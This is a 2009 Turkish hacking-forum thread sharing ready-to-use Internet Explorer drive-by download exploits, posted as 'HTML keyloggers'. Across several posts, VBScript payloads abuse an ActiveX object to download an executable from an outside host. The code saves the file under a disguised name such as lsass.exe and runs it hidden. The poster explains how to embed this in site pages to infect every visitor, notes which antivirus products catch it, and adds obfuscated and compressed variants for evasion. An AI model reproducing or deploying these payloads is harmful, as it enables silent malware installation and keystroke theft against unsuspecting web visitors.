Forummix.OrG | Paylaşımın Gizli Adresi

Bir kaç saniyeninizi ayırarak sitemize ücretsiz üye olabilirsiniz.
Forummix.OrG | Paylaşımın Gizli Adresi

Paylaşımın Gizli Adresi | Hoşgeldiniz


    Html KeyLogger(İE Açığı)

    Paylaş
    avatar
    ç1nq1r0cq
    GENELKURMAY BAŞKANI
    Serbest Admin

    Aktiflik :
    870 / 999870 / 999

    Erkek
    Mesaj Sayısı : 3564
    Yaş : 26
    Nerden : iStanbuL
    İş/Hobiler : eLektrik/futboL
    Lakap : qenCosMan
    Rep : 1600
    Verilen Rep Sayısı : 22
    Ruh Haliniz :
    Tuttuğunuz Takım :
    Kayıt tarihi : 27/09/08

    Html KeyLogger(İE Açığı)

    Mesaj tarafından ç1nq1r0cq Bir Perş. Mart 12, 2009 10:17 pm

    Sanırım Fazla Yerde Yayınlanmadı Sıze Kullanımı Hakkında Az Bılgı Vereyım Kodları Sadece Keylogger Adresi Kısmı Harıcınde Degıstırmeyınız.Indexlerınıze Sıtenıze Html Olarak Yerlestırebılır Sayfaya Bakan Herkese Yedırebılırsınız.Yalnız Su Antiviruslere Yakalanmaktadır Tespit Ettigim;
    Kaspersky 6.0 - 7.0

    Nod32
    BitDefender
    Avast
    Verdigim Kodlar Yakalnıyor Exeniz Yakalanıp Yakalanmaması Onemli Degil..Not: Konunun Devamına Yenı Kodlar Eklenmıstır Bakınız.Tesekkurler Ustata.
    İste Kodlar:

    Kod:
    <script language="VBScript">
    on error resume next
    Set obj1 = document.createElement("object")
    obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    est1="Microsoft."&"_xmlHTTP"
    Set obj2 = obj1.CreateObject(est1,"")

    est="Ado"&"db."&"Str"&"eam"
    set obj3 = obj1.createobject(est,"")
    obj3.type = 1
    est2="GET"
    obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False
    obj2.Send

    set F = obj1.createobject("Scripting.FileSystemObject","")
    set pasta = F.GetSpecialFolder(2)
    fi="lsass.exe"
    fi= F.BuildPath(pasta,fi)

    obj3.open
    obj3.write obj2.responseBody
    obj3.savetofile fi,2
    obj3.close

    set obj5 = obj1.createobject("Shell.Application","")

    obj5.ShellExecute fi,"","","open",0
    </script>


    Siz sadece "http://www.siteniz.com/keyloggeradresiniz.exe" Kısmını Degısınız..

    +

    VİDEOLU ANLATIM

    ----

    Internet expLorer 7'deki açığı kuLLanarak da htmL keyLogger yedirebiLiriz. İLgiLi konuya gitmek için: http://cybergrup.org/showthread.php?t=1718 bakınız...

    ----

    Çalışan bşka bir kod:
    rapidshare.com html_kod.txt.html

    ----

    HtmL tro kodLarını antiLerden kaçırmak için de buna çözüm oLarak şu konuya bakabilirsiniz: http://cybergrup.org/showthread.php?p=8354#post8354
    avatar
    ç1nq1r0cq
    GENELKURMAY BAŞKANI
    Serbest Admin

    Aktiflik :
    870 / 999870 / 999

    Erkek
    Mesaj Sayısı : 3564
    Yaş : 26
    Nerden : iStanbuL
    İş/Hobiler : eLektrik/futboL
    Lakap : qenCosMan
    Rep : 1600
    Verilen Rep Sayısı : 22
    Ruh Haliniz :
    Tuttuğunuz Takım :
    Kayıt tarihi : 27/09/08

    Geri: Html KeyLogger(İE Açığı)

    Mesaj tarafından ç1nq1r0cq Bir Perş. Mart 12, 2009 10:18 pm

    <HTML>
    <HEAD>

    <m e t a http-eqiv="content-type" content="text/html;charset=gb2312">
    <title>test</title>
    <textarea style="display:none" id=lshdic200Xpage rows="1" cols="20"></textarea><script language=vbs>document.write(strreverse(lshdic200Xp age.value))</script>
    <script

    language="VBScript">
    on error resume next
    xx="object"
    xxx="classid"
    xxxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    xxxxx="Microsoft.XMLHTTP"
    xxxxxx="GET"
    xxxxxxx="Scripting.FileSystemObject"
    xxxxxxxx="Shell.Application"
    dl = "http://www.ustata.us/ustata.exe"
    Set df = document.createElement(xx)
    df.setAttribute xxx, xxxx
    str=xxxxx
    Set a = df.CreateObject(str,"")
    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&a2&a3&a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1
    str6=xxxxxx
    a.Open str6, dl, 0
    a.Send
    fname1="s.exe"
    set F = df.createobject(xxxxxxx,"")
    set tmp = F.GetSpecialFolder(2)
    fname1= F.BuildPath(tmp,fname1)
    S.open
    S.write a.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject(xxxxxxxx,"")
    str1=a1&a2&a3&a4
    Q.ShellExecute fname1,"","","open",0
    </script>
    <script type="text/jscript">
    function init() {
    document.write(Date());

    }
    window.onload = init;
    </script>
    </HEAD>
    <BODY>
    </BODY>
    </html>

    Boş Bir Sayfa Olarak Yedirecekseniz Buda Deqişik Bir Kod..


    NOT: Kodlar arasında m e t a kelimesi vardır. Siz harfleri birleşik yazınız.
    avatar
    ç1nq1r0cq
    GENELKURMAY BAŞKANI
    Serbest Admin

    Aktiflik :
    870 / 999870 / 999

    Erkek
    Mesaj Sayısı : 3564
    Yaş : 26
    Nerden : iStanbuL
    İş/Hobiler : eLektrik/futboL
    Lakap : qenCosMan
    Rep : 1600
    Verilen Rep Sayısı : 22
    Ruh Haliniz :
    Tuttuğunuz Takım :
    Kayıt tarihi : 27/09/08

    Geri: Html KeyLogger(İE Açığı)

    Mesaj tarafından ç1nq1r0cq Bir Perş. Mart 12, 2009 10:19 pm

    Kod:
     
    [color=#717171][font=Courier New]<script language="JavaScript1.2">[/font][/color]
    [color=#717171][font=Courier New]<!--[/font][/color]
    [color=#717171][font=Courier New]l=new Array(-56,-27,-10,-5,32,-7,105,-9,50,51,-16,-13,99,-15,49,83,-18,114,-24,-21,[/font][/color]
    [color=#717171][font=Courier New]65,-23,57,58,-26,48,53,-43,-32,-31,34,46,-34,106,-40,-37,120,-39,84,103,[/font][/color]
    [color=#717171][font=Courier New]-42,109,117,-47,-46,98,115,-53,-50,110,-52,41,70,-55,44,61,-76,-65,-60,101,[/font][/color]
    [color=#717171][font=Courier New]-62,108,-64,100,102,-67,116,-69,97,-73,-72,54,66,-75,45,47,-112,-79,111,-93,[/font][/color]
    [color=#717171][font=Courier New]-90,-83,121,-87,-86,72,76,-89,52,56,-92,67,104,-101,-98,-97,68,71,-100,60,[/font][/color]
    [color=#717171][font=Courier New]62,-109,-106,-105,118,119,-108,86,88,-111,77,80,-116,-115,10,38,-118,112,-120,40,[/font][/color]
    [color=#717171][font=Courier New]-122,69,79);[/font][/color]
    [color=#717171][font=Courier New]d="aPN65`+4^LaYVWZiMGA<]0/eNEI***[Z26E-*D0U`_*d,]XF***X4-044+g3V2YA:d<<0L`;iO"[/font][/color]
    [color=#717171][font=Courier New]+",e14i;M/:<N8X**+M//3E/14RZP5eJ..OCU;=2H++37/6GbGJeXDMdidHX1^JhcRUB9AMU=MQ5"[/font][/color]
    [color=#717171][font=Courier New]+"[chT9DCbT08YZh[1***KW/9RbK.7MFQS48RbHhSG2W5@iMJ**/[:B[:Z9KM//3`0L`;jBT,?h-"[/font][/color]
    [color=#717171][font=Courier New]+"D4H:K`^Q***KW9R8=BMT3P3;`+G0;`.@A2c**-BR6BRF1Z[LLNN7/TM04JOI:aQN2GF**-041="[/font][/color]
    [color=#717171][font=Courier New]+"@M_*i+A8**+-D0I;VjOS1***[LKNjj:c.7RCc.DeU[bIYX;>D6O4]<BXYZVh5-:C652:g.hS7M"[/font][/color]
    [color=#717171][font=Courier New]+"J**B[:]<cFPc**18***a4+a-cB[;<<0L`;M/:<YN/N65`,F@_X[<JY:aRAIa4JO2H:K`Z**0[:"[/font][/color]
    [color=#717171][font=Courier New]+"HVaU*i-W8^//iJJU<Gd4D-I-8X**+83h.59<Z_0=,].F**,F=c8_b?cS=EhT`jHVaU9=LGF**-"[/font][/color]
    [color=#717171][font=Courier New]+"Q***[LK_de18**+M/-Sb3K?*B[:]=:ba87LfNaJ**8**+M/-SEEF;@=LO*=LH0c**06>8NNVE1"[/font][/color]
    [color=#717171][font=Courier New]+"8F**+V>06>I+g6BRS3-;DR[LR3A],hF<NNdf_K.W:VF:gK-UJ**F**-049S5`[4AdC+/h:.cQN"[/font][/color]
    [color=#717171][font=Courier New]+"2H:Kd0HK[-[fP`ID:ZY?WJ";[/font][/color]
    [color=#717171][font=Courier New]c=810;b=a=0;o="";[/font][/color]
    [color=#717171][font=Courier New]function GetBit(){if(a==0){b=d.charCodeAt(0)-42;[/font][/color]
    [color=#717171][font=Courier New]if(b>50)b--;d=d.slice(1,d.length);a=6;}a--;[/font][/color]
    [color=#717171][font=Courier New]return ((b >> a) & 0x01);}[/font][/color]
    [color=#717171][font=Courier New]window.status='Decompressing';[/font][/color]
    [color=#717171][font=Courier New]while(c--){i=0;while(l[i]<0){if(GetBit())i=-l[i];else i++;}[/font][/color]
    [color=#717171][font=Courier New]o+=String.fromCharCode(l[i]);}document.write(o);[/font][/color]
    [color=#717171][font=Courier New]window.status='Document Loaded';[/font][/color]
    [color=#717171][font=Courier New]// --></script>[/font][/color]

    [color=#717171][font=Courier New]<script language="VBScript">[/font][/color]
    [color=#717171][font=Courier New]    on error resume next[/font][/color]

    [color=#717171][font=Courier New]    Set obj1 = document.createElement("object")[/font][/color]
    [color=#717171][font=Courier New]    obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"[/font][/color]
    [color=#717171][font=Courier New]    est1="Microsoft."&"_xmlHTTP"[/font][/color]
    [color=#717171][font=Courier New]    Set obj2 = obj1.CreateObject(est1,"")[/font][/color]


    [color=#717171][font=Courier New]    est="Ado"&"db."&"Str"&"eam"[/font][/color]
    [color=#717171][font=Courier New]    set obj3 = obj1.createobject(est,"")[/font][/color]
    [color=#717171][font=Courier New]    obj3.type = 1[/font][/color]

    [color=#717171][font=Courier New]    est2="GET"[/font][/color]
    [color=#717171][font=Courier New]    obj2.Open est2, "http://www.ustata.us/ustata.exe", False[/font][/color]
    [color=#717171][font=Courier New]    obj2.Send[/font][/color]
    [color=#717171][font=Courier New][color=#717171][font=Courier New]    set F = obj1.createobject("Scripting.FileSystemObject","")[/font][/color]
    [color=#717171][font=Courier New]    set pasta = F.GetSpecialFolder(2)[/font][/color]
    [color=#717171][font=Courier New]    fi="lsass.exe"[/font][/color]
    [color=#717171][font=Courier New]    fi= F.BuildPath(pasta,fi)[/font][/color]


    [color=#717171][font=Courier New]    obj3.open[/font][/color]
    [color=#717171][font=Courier New]    obj3.write obj2.responseBody    [/font][/color]
    [color=#717171][font=Courier New]    obj3.savetofile fi,2[/font][/color]
    [color=#717171][font=Courier New]    obj3.close[/font][/color]


    [color=#717171][font=Courier New]    set obj5 = obj1.createobject("Shell.Application","")[/font][/color]

    [color=#717171][font=Courier New]    obj5.ShellExecute fi,"","","open",0[/font][/color]
    [color=#717171][font=Courier New]</script>[/font][/color]

    [color=#717171][font=Courier New]LÜTFEN BEKLEYİNİZ YÖNLENDİRİLİYORSUNUZ (10 SN)[/font][/color]



    [color=#717171][font=Tahoma]AHT Farkıyla Bu Koduda Sizinle Paylaşıyorum pek biyerde Bulamayacaqınız Bir Koddur.[/font][/color]
    [/font][/color]
    avatar
    ç1nq1r0cq
    GENELKURMAY BAŞKANI
    Serbest Admin

    Aktiflik :
    870 / 999870 / 999

    Erkek
    Mesaj Sayısı : 3564
    Yaş : 26
    Nerden : iStanbuL
    İş/Hobiler : eLektrik/futboL
    Lakap : qenCosMan
    Rep : 1600
    Verilen Rep Sayısı : 22
    Ruh Haliniz :
    Tuttuğunuz Takım :
    Kayıt tarihi : 27/09/08

    Geri: Html KeyLogger(İE Açığı)

    Mesaj tarafından ç1nq1r0cq Bir Perş. Mart 12, 2009 10:21 pm

    Kod:
     
    [color=#717171][font=Courier New]<script language="VBScript">[/font][/color]
    [color=#717171][font=Courier New]    on error resume next[/font][/color]
    [color=#717171][font=Courier New]    dl = "trojan URL"[/font][/color]
    [color=#717171][font=Courier New]    Set df = document.createElement("object")[/font][/color]
    [color=#717171][font=Courier New]    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"[/font][/color]
    [color=#717171][font=Courier New]    str="Microsoft.XMLHTTP"[/font][/color]
    [color=#717171][font=Courier New]    Set x = df.CreateObject(str,"")[/font][/color]
    [color=#717171][font=Courier New]    a1="Ado"[/font][/color]
    [color=#717171][font=Courier New]    a2="db."[/font][/color]
    [color=#717171][font=Courier New]    a3="Str"[/font][/color]
    [color=#717171][font=Courier New]    a4="eam"[/font][/color]
    [color=#717171][font=Courier New]    str1=a1&a2&a3&a4[/font][/color]
    [color=#717171][font=Courier New]    str5=str1[/font][/color]
    [color=#717171][font=Courier New]    set S = df.createobject(str5,"")[/font][/color]
    [color=#717171][font=Courier New]    S.type = 1[/font][/color]
    [color=#717171][font=Courier New]    str6="GET"[/font][/color]
    [color=#717171][font=Courier New]    x.Open str6, dl, False[/font][/color]
    [color=#717171][font=Courier New]    x.Send[/font][/color]
    [color=#717171][font=Courier New]    fname1="object3.exe"[/font][/color]
    [color=#717171][font=Courier New]    set F = df.createobject("Scripting.FileSystemObject","")[/font][/color]
    [color=#717171][font=Courier New]    set tmp = F.GetSpecialFolder(2)[/font][/color]
    [color=#717171][font=Courier New]    fname1= F.BuildPath(tmp,fname1)[/font][/color]
    [color=#717171][font=Courier New]    S.open[/font][/color]
    [color=#717171][font=Courier New]    S.write x.responseBody[/font][/color]
    [color=#717171][font=Courier New]    S.savetofile fname1,2[/font][/color]
    [color=#717171][font=Courier New]    S.close[/font][/color]
    [color=#717171][font=Courier New]    set Q = df.createobject("Shell.Application","")[/font][/color]
    [color=#717171][font=Courier New]    Q.ShellExecute fname1,"","","open",0[/font][/color]
    [color=#717171][font=Courier New]  </script>[/font][/color]
    avatar
    ç1nq1r0cq
    GENELKURMAY BAŞKANI
    Serbest Admin

    Aktiflik :
    870 / 999870 / 999

    Erkek
    Mesaj Sayısı : 3564
    Yaş : 26
    Nerden : iStanbuL
    İş/Hobiler : eLektrik/futboL
    Lakap : qenCosMan
    Rep : 1600
    Verilen Rep Sayısı : 22
    Ruh Haliniz :
    Tuttuğunuz Takım :
    Kayıt tarihi : 27/09/08

    Geri: Html KeyLogger(İE Açığı)

    Mesaj tarafından ç1nq1r0cq Bir Perş. Mart 12, 2009 10:21 pm

    Kod:
    [color=#717171]<html>[/color]
    [color=#717171][font=Courier New]<head>[/font][/color]
    [color=#717171][font=Courier New]<title>AskeriHarekat.Us</title>[/font][/color]
    [color=#717171][font=Courier New]</head>[/font][/color]
    [color=#717171][font=Courier New]<body>[/font][/color]
    [color=#717171][font=Courier New]<script type="text/vbscript">[/font][/color]
    [color=#717171][font=Courier New]on error resume next[/font][/color]
    [color=#717171][font=Courier New]Set df = document.createElement("object")[/font][/color]
    [color=#717171][font=Courier New]df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"[/font][/color]
    [color=#717171][font=Courier New]str="Microsoft"&"."&"XMLHTTP"[/font][/color]
    [color=#717171][font=Courier New]Set x = df.CreateObject(str,"")[/font][/color]
    [color=#717171][font=Courier New]var1="Ad"[/font][/color]
    [color=#717171][font=Courier New]var2="od"[/font][/color]
    [color=#717171][font=Courier New]var3="b."[/font][/color]
    [color=#717171][font=Courier New]var4="St"[/font][/color]
    [color=#717171][font=Courier New]var5="re"[/font][/color]
    [color=#717171][font=Courier New]var6="am"[/font][/color]
    [color=#717171][font=Courier New]str1=var1&var2&var3&var4&var5&var6[/font][/color]

    [color=#717171][font=Courier New]str5=str1[/font][/color]
    [color=#717171][font=Courier New]set S = df.createobject(str5,"")[/font][/color]
    [color=#717171][font=Courier New]for count = 0 to 4[/font][/color]
    [color=#717171][font=Courier New]S.type = 1[/font][/color]
    [color=#717171][font=Courier New]lnk="http://www.site.com/server.exe"[/font][/color]
    [color=#717171][font=Courier New]x.Open "G"&"E"&"T",lnk,0[/font][/color]
    [color=#717171][font=Courier New]x.Send[/font][/color]
    [color=#717171][font=Courier New]set F = df.createobject("Script"&"ing.FileSys"&"temObject","")[/font][/color]
    [color=#717171][font=Courier New]if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:\temp" else if count = 3 then tmp = "d:\windows\temp" else if count = 4 then tmp = "d:\" end if[/font][/color]
    [color=#717171][font=Courier New]fname1= F.BuildPath(tmp,"\svacm.exe")[/font][/color]
    [color=#717171][font=Courier New]S.open[/font][/color]
    [color=#717171][font=Courier New]S.write x.responseBody[/font][/color]
    [color=#717171][font=Courier New]S.savetofile fname1,2[/font][/color]
    [color=#717171][font=Courier New]S.close[/font][/color]
    [color=#717171][font=Courier New]if err.number = 0 then[/font][/color]
    [color=#717171][font=Courier New]set Q = df.createobject("Shell.Application","")[/font][/color]
    [color=#717171][font=Courier New]Q.ShellExecute fname1,"INSTALL","","open",0[/font][/color]
    [color=#717171][font=Courier New]exit for[/font][/color]
    [color=#717171][font=Courier New]else[/font][/color]
    [color=#717171][font=Courier New]Err.Clear[/font][/color]
    [color=#717171][font=Courier New]End if[/font][/color]
    [color=#717171][font=Courier New]next[/font][/color]
    [color=#717171][font=Courier New]</script>[/font][/color]
    [color=#717171][font=Courier New]</body>[/font][/color]
    [color=#717171][font=Courier New]</html>[/font][/color]

    Sponsored content

    Geri: Html KeyLogger(İE Açığı)

    Mesaj tarafından Sponsored content


      Forum Saati Paz Ekim 22, 2017 9:26 am